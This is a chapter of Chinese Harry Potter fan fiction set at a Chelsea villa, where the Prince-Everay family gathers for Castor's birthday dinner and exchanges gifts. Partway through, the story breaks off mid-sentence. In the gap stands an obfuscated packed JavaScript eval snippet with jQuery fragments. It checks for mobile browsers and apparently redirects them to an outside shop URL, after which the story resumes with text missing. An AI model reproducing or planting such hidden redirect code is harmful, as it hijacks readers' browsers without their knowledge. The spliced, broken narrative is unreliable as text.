冬至日的太阳，在早上8点后才懒懒地升起，却又连下午茶的第二杯茶水都等不及，就早早地沉入了泰晤士河对岸。


    切尔西别墅内，壁炉中的电热炉心被点燃，为房间提供着源源不断的暖意。


    壁炉旁的云杉上披覆着雪色，银色星星和透明泡泡飘浮在周边，荧光的小仙子以树冠为中心飞舞着，散发出细碎的星屑；树冠上并非常见的树顶星，而是摆放着一枚普林斯-埃弗瑞家徽中的水晶叶。


    深林绿、草绿、翠绿、薄荷绿……各种不同深浅和色调的绿色彩饰，与那些不显眼、却无处不在的常青藤纹样一起，装饰着整栋建筑。


    别墅内所有的窗台上，都摆放着一组银色烛台；布满霜花的窗户玻璃上，映照着跳动的火焰倒影。


    西格纳斯像一只慵懒的猫咪一样，团在壁炉前的长椅上，在暖呼呼的空气中翻阅着家族的藏书。


    随着家养小精灵的幻影显形，罗齐尔兄弟重新出现在在切尔西别墅中，“但愿我们没有错过时间。”埃里希说着，在西格纳斯的身边落座，洛塔尔也帅气地翻过座椅扶手，落在了座椅的另一端。


    “如果真的迟到了，我整个霍格沃兹生涯，都会不遗余力地嘲笑你们。”西格纳斯合上书，抬头看向兄弟二人。


    “你父亲和卡斯托先生呢？”埃里希环视着周围，发觉整栋别墅中，似乎仅留下了西格纳斯一位主人。


    “他们去接母亲了。”西格纳斯伸了个懒腰，说着，“今天太阳落得太早，绅士们是不能坐视女士孤身夜行的。”


    “你不去，难道是特意留下来的？等我们回来？”洛塔尔嬉笑着问道。


    西格纳斯哼了一声，“别自作多情！”他撇了撇嘴，“我只是想避开那些过于热情的女士们而已。”


    话音刚落，别墅的大门便被推开了。


    “我们回来了。”清亮的女声响起，房间内的三人应声望向门厅——阿卡尼乌斯和卡斯托一起推开了别墅的大门，身着简约优雅的墨绿色礼服的奥琳女士，提着裙摆走了进来。


    西格纳斯从长椅上起身，迎向自己的母亲，“辛苦了，妈妈。”


    “谢谢，我的小甜心。”奥琳女士拥抱了一下自己的小儿子，双手捧起他的面颊，左右各亲了一下，说着：“不过，也许你知道，那些夫人们得知你要留在家里招待朋友的时候，表情有多遗憾。”她一边说着，一边揉搓着他的脸颊，搓得他脸颊泛起绯色。


    “别这样，妈妈。”他嘟囔着，试图从母亲的“魔掌”中挣脱，“有客人呢！”


    奥琳女士闻言一顿，像是终于注意到罗齐尔兄弟已经回到别墅中，瞬间恢复了优雅的姿态——放开西格纳斯，向两位客人微笑着打了个招呼：“晚上好，两位小先生。”


    “晚上好，夫人。”埃里希和洛塔尔礼貌地回应，随后脸上挂着几分揶揄的笑容，看向西格纳斯。


    西格纳斯揉了揉脸，瞪了一眼笑得不怀好意的双胞胎兄弟。


    “妈妈，先去换身衣服，休息片刻。”卡斯托已经走进室内，大衣连着围巾一起被西尔接了过去，“爸爸也去收拾一下。”


    “姑姑和叔叔们就快来了。”他说着。


    奥琳女士欣然拉着阿卡尼乌斯上了楼——他正一副企图看西格纳斯热闹的模样。


    卡斯托揉了揉自己弟弟的头发，对罗齐尔兄弟点了点头，“两天不见，看来你们的急事已经处理完了？”


    面对卡斯托，罗齐尔兄弟下意识地收起了调笑的表情，“是的。”埃里希回答道，洛塔尔接了一句，“一切顺利。”


    “那就好。”卡斯托嘴角含笑，微微点头，“如果没有其他事情的话，不如留下来共享晚餐吧！——正好今天还会有其他几位‘普林斯-埃弗瑞’到来，坦塔准备了许多美食。”


    罗齐尔兄弟顿了一下，随后双双点头。


    卡斯托先行离开了起居室，洛塔尔便立刻凑到了西格纳斯身边，“你没跟卡斯托先生说，我们为什么离开？”


    “你们自己不都说过了吗？”西格纳斯眼神有些游移，“就……有点急事而已，很正常的。”


    “为了保留给哥哥的生日惊喜？”埃里希问着，洛塔尔坏笑着接话，“还是不想让卡斯托先生发现你之前在捉弄我们？‘天真活泼’的‘可爱小甜心’？”


    卡斯托在斯莱特林中介绍自己弟弟的形容词，让人很难不怀疑，他看西格纳斯时，究竟戴着多厚的玫瑰色眼镜（rose-tinted glasses）。


    西格纳斯眼神微眯，嘴角勾起一个双胞胎都非常熟悉的、完美的假笑，“有意见？”


    埃里希轻咳一声，洛塔尔则嬉笑着将食指和拇指的指尖捏合，按在了自己紧抿的双唇正中。


    ***


    时钟表盘中的时针逐渐靠近数字“6”，更多访客到达了切尔西别墅，阿卡尼乌斯迎接着他的弟弟妹妹们——


    “欢迎，卡珊德拉，今年你是第一个回来的。奥雷利乌斯没跟你一起过来吗？”


    ——卡珊德拉·普林斯-埃弗瑞，西格纳斯的表姑姑。上学期西格纳斯收到的那些黑曜石护符上，所有的古代如尼文都是由她亲手镌刻的。


    “哦，塞拉芬，你来之前在做什么？看起来像是刚刚被五十只恶婆鸟蹂躏过似的——快去收拾收拾，冲个热水澡，换身新衣服。”


    ——塞拉芬·普林斯-埃弗瑞（Serafín Prince-Everay），西格纳斯年纪最大的表叔叔。听卡斯托说，他最近似乎正在和魔法部的神奇生物管理控制司，进行着一些神奇动物方面的合作。


    “嘿，赫西俄德，真羡慕你能在罗马尼亚的森林里冒险——这次有什么新收获吗？”


    ——赫西俄德·普林斯-埃弗瑞（Hesiod Prince-Everay），西格纳斯的亲叔叔。平日里，他不是待在常青藤庄园的草药温室里，就是去到一些人迹罕至的地带，探寻珍惜的野生草药。


    “贝拉多娜！多么难得，你今年竟然没有等到最后一刻才到——看来今天没有熬制什么新魔药？”


    ——贝拉多娜·普林斯-埃弗瑞，西格纳斯的亲姑姑，本代普林斯-埃弗瑞中最擅长魔药的一位。西格纳斯的随身药剂包中，所有从家中带来的魔药，都是出自这位姑姑之手。


    “哦，拜托，你究竟多久没好好睡觉了，奥雷利乌斯？看看你的黑眼圈——贝拉多娜，拿瓶安眠药水过来，他必须先去睡上一会！”


    ——奥雷利乌斯·普林斯-埃弗瑞，卡珊德拉表姑姑的亲弟弟，西格纳斯最小的表叔叔。作为家里唯一一位毕业于布斯巴顿的炼金术士，他沉迷炼金术也不是一两天了，废寝忘食到他的家养小精灵奥珥（Aur）成了家中唯一一个经常哭哭啼啼的小精灵——“今天主人又熬夜了，奥珥劝不住主人，奥珥真没用……”


    11岁的西格纳斯显然非常受女士们喜欢，卡珊德拉表姑姑揉捏着他的脸颊，又在他的挣扎中变成了摸头；贝拉多娜姑姑更是将他抱着转了个圈——真不愧是阿卡尼乌斯一母同胞的亲妹妹。


    与姑姑们相比，叔叔们的表现反而内敛得多。


    被要求去沐浴的塞拉芬表叔叔，以及被勒令去休息的奥雷利乌斯，只来得及与西格纳斯打了声招呼，就被推上了楼；就剩赫西俄德叔叔在留在原地，一边抚摸着西格纳斯的发顶，一边亲切地与罗齐尔兄弟交谈，“西格尼有点娇气，麻烦你们多照顾他了。


    当西格纳斯拉着罗齐尔兄弟“逃离”长辈们“深沉的爱意”后，不得不再次面对兄弟俩的调笑——西格纳斯眯着眼瞪他们，直到他们终于举手投降，收起笑容。


    小叔叔被强压着去房间小睡片刻，塞拉芬叔叔带着一身水汽回到了起居室，所有人在壁炉前落座。


    家养小精灵为他们端上了香槟——未成年的西格纳斯和两位罗齐尔先生的杯子里，则是气泡苹果汁。


    “……说起来，今年家里的装饰……”贝拉多娜环视了一下别墅内的圣诞装饰，抿了一口香槟，感叹着，“今年，还真是非常的‘斯莱特林’啊！”


    银色和绿色装饰着整个别墅，甚至门口挂着的圣诞花环上，最常见的红色蝴蝶结都被替换成了银色丝带。


    阿卡尼乌斯耸了耸肩：“因为西格尼今年，非常抗拒金色和红色。”


    “这都要怪那些没有脑子的格兰芬多——比皮皮鬼还令人厌烦。”西格纳斯撇嘴。


    诚然，每个学院都有聪明人和蠢货，但格兰芬多庞大的人员基数和过于热闹的学院氛围，让他们中那些不太聪明的家伙，显得尤其活跃。


    他们热衷于在走廊里对“邪恶势力”——以他们的智商，显然不足以分清“斯莱特林”和“食死徒”的区别——发起“勇敢”的挑战。


    “……虽然我会无视他们，但次数多了，总会让人觉得代表他们学院的金色和红色，有些过于傻气了，不是吗？”


    每当遭遇这种场景，西格纳斯总会冷笑一声，目不斜视地走自己的路——他身边罗齐尔兄弟那颇具压迫感的身高，和他自身“连皮皮鬼都避开他”的传言，让那些格兰芬多的“勇气”都不由自主地打了折扣。


    “现在的学院对立这么严重啊……”脾气最温和的塞拉芬叔叔叹了口气。


    卡斯托端着香槟杯，轻笑了一声，“西格尼已经处理得很好了，”他向长辈们解释着，“他在学校中交到的朋友，也帮了我不少忙呢！”


    西格纳斯眼睛睁大了两分，闪亮亮地看向卡斯托——我是怎么帮上忙的？


    “赫奇帕奇的布鲁姆先生，很意外于你与他儿子的友谊——小布鲁姆先生对你的评价非常高，据说他寄回家的信中，有许多与你有关的内容。”卡斯托轻轻摇晃着手中的香槟杯，“所以如今，布鲁姆先生给的折扣，相当有力。”


    “拉德福德家族，在魔法部中的人脉相当广阔。”卡斯托看着西格纳斯，翘起的嘴角诉说着他的愉快，“因为贝拉多娜姑姑和他家的交易，我在魔法部办事的时候，效率都提高了不少。”


    “更何况，还让我幸结识了罗齐尔先生。”他向罗齐尔兄弟举杯致意，正听得认真的双胞胎赶紧回礼。


    他手中的香槟杯轻轻碰上了西格纳斯装着气泡苹果汁的杯子，发出了“叮”的一声脆响，“这些都多亏了西格尼。”


    西格纳斯露出了有些赧然又有几分得意的笑容，抿了抿嘴，绷出了一个面颊微红的认真表情，举杯回碰了一下卡斯托的酒杯，“能帮到你就好。”


    卡斯托又向罗齐尔兄弟举杯——正揶揄地看着西格纳斯的埃里希和洛塔尔都愣了一下，没想到还有自己的事——他们立刻端正地举起酒杯，“罗齐尔先生在欧陆的生意上，也给了我很多帮助，有机会请代我转达谢意。”


    “当然，您客气了。”埃里希作为代表回应。


    西格纳斯看着卡斯托的眼神，带着毫不掩饰的敬慕。直到大人们那边传来窸窸窣窣的窃窃私语，他才回过神来。


    “……卡斯托已经处理得这么熟练了……”“完全可以……”“……还没攒够钱吗？”“……我也想……又被扣光了……”


    西格纳斯目光转向了他们，眼中带着几分无奈。


    鬼鬼祟祟看向他们的大人们，立刻恢复正常，装模作样地聊起了各自的生活。


    卡斯托发出了一声轻笑，唤来小精灵西尔，“去厨房看看，坦塔准备完了没有。”


    ***


    餐桌上，阿卡尼乌斯坐在主位，左右手分别是卡斯托和奥琳女士。西格纳斯和罗齐尔兄弟坐在了卡斯托的左侧，而姑姑叔叔们，则坐在了奥琳女士的右侧。


    “让我们祝卡斯托生日快乐。”阿卡尼乌斯举起手中的酒杯，向自己的长子示意，“愿你早日获得一切。”


    “谢谢，爸爸。”卡斯托面带笑容，举杯回应，“但是后半句话，暂时还不需要。”


    阿卡尼乌斯的笑容垮了下来，餐桌的另一边传来长辈们的窃笑和“啊，失败了”的嘀咕声。


    奥琳女士拍了拍手，引来了一家人的注意力：“好了亲爱的，现在该给卡索生日礼物了。”说话间，她率先挥舞着魔杖，将一个小礼盒飘浮到卡斯托手边——是一副由白玛瑙和黑曜石精心雕琢而成的巫师棋。“你之前用的那副巫师棋，已经很旧了，是时候换一套新的了。”


    “谢谢妈妈。”卡斯托双手接过礼物，笑着道谢。


    阿卡尼乌斯也拿出一个礼盒，递到卡斯托面前，“来，这是爸爸的礼物。”


    卡斯托垂眸扫了一眼他拿着礼盒的双手，抬眼微笑，“不收。”


    阿卡尼乌斯的笑容僵在了脸上，继而露出了仿佛快哭出来的表情，“啊！为什么？”那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902751|179996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    副委屈的样子，能让不知情的人万分同情。


    但卡斯托的笑容不变，“收回去，或者，”他盯着自己父亲的眼睛，“把你偷偷塞进去的家主戒指拿出来，我再收下。”


    阿卡尼乌斯这次是真的垂头丧气了。他嘟囔着听不清的话语，魔杖一挥，将礼盒中多出来的戒指取了出去，重新戴回自己的右手大拇指上。


    西格纳斯偷偷地翻了个白眼——家主戒指这么明显的信物，忽然从家主手指上消失，卡索傻了会接下这份礼物。


    卡斯托收下了父亲的礼物，一组由祖母绿和银打造的领针、袖扣、领带夹饰品组合——说实话，家主戒指混在其间，看起来好像那原本就是一套。


    长辈那侧传来了“他又失败了”“卡索不太好骗”之类的窃窃私语。


    赫西俄德叔叔咳了一下，打断了兄弟姐妹们针对自己兄长又一次失败的讨论，将一个长条形的礼盒飘向卡斯托，“我和塞拉芬一起准备。”


    那是一根全新的手杖，深紫褐色的杖杆和兽角杖首，用银制作了杖圈和饰边。


    “黑胡桃木杖柄，与你的魔杖材质相同——应该比现在的那根手杖更好用。”赫西俄德叔叔说着。


    卡斯托闻言，立刻将自己的魔杖从原本的手杖中取了出来，收入这根新手杖中。


    他摩挲着抛光后的杖首，抬头看向赫西俄德和塞拉芬两位叔叔，表情显露出几分讶异，“这个材质……是龙角？”


    塞拉芬叔叔点了点头，露出了一个温和的笑容，“上次与火龙保护基地合作，获赠了这份罗马尼亚角龙的完整龙角。”他说着，“家中龙角粉已经够多了，我就和赫西俄德商量着，用这块龙角做些实用的东西。”


    有谁会小看一位能用珍惜的完整龙角做手杖杖首的家主呢？哪怕他才刚刚19岁。——若是今天卡斯托没能防范住阿卡尼乌斯的小计谋，真的接手了家主戒指，他的叔叔们也为他准备了足以震慑他人的礼物。


    “我很喜欢这份礼物。”卡斯托向两位长辈露出了感谢的笑容。


    “真是的，这样一来，不显得我们的礼物不够份量了吗？”卡珊德拉姑姑的声音响起，她将一个正方形的盒子飘给卡斯托，“我、贝拉多娜，还有奥雷利乌斯一起准备的。”


    一块银色的怀表——西格纳斯探头凑近观察，卡斯托让了让，给他看到了更多细节——翻盖外壳上是普林斯-埃弗瑞家族常青藤环绕水晶叶的家徽，而内部表盘上数字“6”和数字“12”两个位置，则被古代如尼文字符所替代：“??（Laguz）”代表意识，“??（Mannaz）”象征记忆。


    “我和奥雷利乌斯做了这个怀表，只要打开表盖后调整分针设定时间，再次按下按钮，就能消除你周围麻瓜对应时间段之内的记忆——你经常在麻瓜界活动，难免会遇到一些敏感的麻瓜。”卡珊德拉姑姑说着。


    卡斯托有些惊讶地拿着怀表，看向卡珊德拉姑姑，“擅自对麻瓜使用‘一忘皆空’，可是会被魔法部追责的。”


    “所以贝拉多娜通过拉德福德家族的帮忙，拿到了记忆注销授权。”卡珊德拉得意的笑了笑，搂住了贝拉多娜的肩膀。


    这才是他们“三人共同送出的礼物”的原因。


    “您们可真是太贴心了。”卡斯托微笑着向两位姑姑和小叔叔致谢。


    他最后笑着看向西格纳斯，等着自己的弟弟给出最后一份生日礼物——他确信西格纳斯绝对不会忘记准备礼物。


    不过，西格纳斯没有直接拿出自己的礼物，而是咳嗽了一声，戳了戳身边的埃里希。


    埃里希轻笑了一声，主动拿出了一个小礼盒。


    卡斯托略微疑惑了一瞬，继而便是了然。他无奈地看了一眼装作若无其事的西格纳斯，微笑着接过了礼物，“多谢，埃里希，洛塔尔。”他说着，“看来这几天，你们和西格尼玩得不错。”


    “除了最开始有些措手不及，其他的都还好。”埃里希笑着回应——西格纳斯对于他隐晦的“告状”，不着痕迹地瞪了他们一眼。


    礼物盒打开，是一枚胸针——妖精银雕琢而成的蛇身中间，盘缠着一颗浓绿的石榴石。


    “家族记载中提到过，我们的姑祖母曾接触过一位来自美国的‘天生的摄魂取念者’。”洛塔尔说着，“谁能保证英国没有擅长摄魂取念的大师呢？”


    “非常实用的礼物，感谢两位小先生。”卡斯托微微垂眸，将胸针仔细地收了起来，举起酒杯向罗齐尔兄弟致意。埃里希和洛塔尔也端起酒杯回礼——此刻未成年们的杯子里，装着的是无酒精的葡萄汁。


    西格纳斯瞥了一眼罗齐尔兄弟，轻轻地哼了一声，“看来早有准备？”


    埃里希放下酒杯，无奈地叹了口气，“威尔特郡庄园的库藏，被我俩翻了个遍。”


    “我们挤在庄园里唯一一间收拾出来的房间里休息，睁眼就是找礼物。”洛塔尔探过头来抱怨。


    “那你们效率还蛮高的。”西格纳斯露出一个恶作剧得逞的笑容，结果一转头，就看到卡斯托以及家里的所有长辈，都正含笑看着自己。


    西格纳斯无语地闭了下眼，准备的礼物，也终于塞到了卡斯托的手上。


    ——特殊设计、定制剪裁的墨绿色巫师袍，常青藤纹路的暗纹在衣摆和袖口处隐现。


    略宽的直筒袖口、更贴近西装设计理念的腰线剪裁、长度略微缩短的下摆——借鉴了一些麻瓜晨礼服的设计，虽然整体看上去还是巫师袍，但显然比传统巫师袍更加利落。


    “回归宴会邀请的多是那些老派的纯血家族，他们肯定会挑剔哥哥的衣着。”西格纳斯说着，“但是那些老式的、拖拖拉拉的巫师袍，实在不适合卡索——我就找了巴黎那边的设计师，定制了这款巫师袍。”


    西格纳斯微微抬高下巴，斜睨着自家长辈们——在麻瓜世界混得太久，显然长辈们已经忘了，英国魔法界的审美还停留在古老的十七世纪——他们送的礼物，都更加现代且适配卡斯托日常的西装造型。


    当然，西格纳斯也必须承认，要不是看了一整个学期的教授们的巫师袍——尤其是邓布利多校长那些花里胡哨的长袍——自己也快忘了这一点魔法界和麻瓜界的差异。


    卡斯托揉搓了一下西格纳斯的头发，含笑感谢，“多谢，贴心的西格尼，这实在是再合适不过的礼物了。”